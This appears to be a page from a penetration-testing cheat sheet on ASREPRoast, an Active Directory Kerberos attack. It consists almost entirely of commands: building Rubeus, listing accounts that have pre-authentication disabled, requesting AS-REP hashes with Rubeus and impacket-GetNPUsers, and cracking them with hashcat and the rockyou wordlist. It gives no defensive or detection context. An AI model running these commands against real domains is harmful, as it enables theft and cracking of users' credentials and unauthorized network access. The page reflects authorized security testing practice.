Kerberos
ASREPRoast
Exploit accounts with Kerberos pre-authentication disabled to capture and crack AS-REP hashes using Rubeus and Impacket.
Documentation Index
Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
Exploit accounts with Kerberos pre-authentication disabled to capture and crack AS-REP hashes using Rubeus and Impacket.
git clone https://github.com/GhostPack/Rubeus.git
cd Rubeus
dotnet build -c Release
Rubeus/bin/Release/Rubeus.exe
sudo apt install rubeus
rubeus -h
rubeus ~ Raw Kerberos interaction and abuses
/usr/share/windows-resources/rubeus/Rubeus.exe
Get-DomainUser -PreauthNotRequired -verbose
.\Rubeus.exe asreproast /nowrap
impacket-GetNPUsers -dc-ip IP-DC -request -outputfile hashes.asreproast DOMAIN/USER
impacket-GetNPUsers corp.com/ -usersfile users.txt -dc-ip IP-DC -request -format hashcat -outputfile hashes.txt
sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force